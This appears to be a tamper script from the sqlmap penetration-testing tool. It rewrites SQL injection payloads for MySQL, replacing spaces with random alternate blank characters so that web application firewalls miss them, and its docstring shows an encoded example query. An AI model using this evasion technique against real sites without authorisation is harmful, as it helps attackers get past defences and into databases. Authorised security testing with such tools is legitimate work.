1#!/usr/bin/env python
2
3"""
4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
5See the file 'LICENSE' for copying permission
6"""
7
8import os
9import random
10
11from lib.core.common import singleTimeWarnMessage
12from lib.core.compat import xrange
13from lib.core.enums import DBMS
14from lib.core.enums import PRIORITY
15
16__priority__ = PRIORITY.LOW
17
18def dependencies():
19    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
20
21def tamper(payload, **kwargs):
22    """
23    Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
24
25    Requirement:
26        * MySQL
27
28    Tested against:
29        * MySQL 5.1
30
31    Notes:
32        * Useful to bypass several web application firewalls
33
34    >>> random.seed(0)
35    >>> tamper('SELECT id FROM users')
36    'SELECT%A0id%0CFROM%0Dusers'
37    """
38
39    # ASCII table:
40    #   TAB     09      horizontal TAB
41    #   LF      0A      new line
42    #   FF      0C      new page
43    #   CR      0D      carriage return
44    #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
45    #           A0      non-breaking space
46    blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')
47    retVal = payload
48
49    if payload:
50        retVal = ""
51        quote, doublequote, firstspace = False, False, False
52
53        for i in xrange(len(payload)):
54            if not firstspace:
55                if payload[i].isspace():
56                    firstspace = True
57                    retVal += random.choice(blanks)
58                    continue
59
60            elif payload[i] == '\'':
61                quote = not quote
62
63            elif payload[i] == '"':
64                doublequote = not doublequote
65
66            elif payload[i] == " " and not doublequote and not quote:
67                retVal += random.choice(blanks)
68                continue
69
70            retVal += payload[i]
71
72    return retVal
73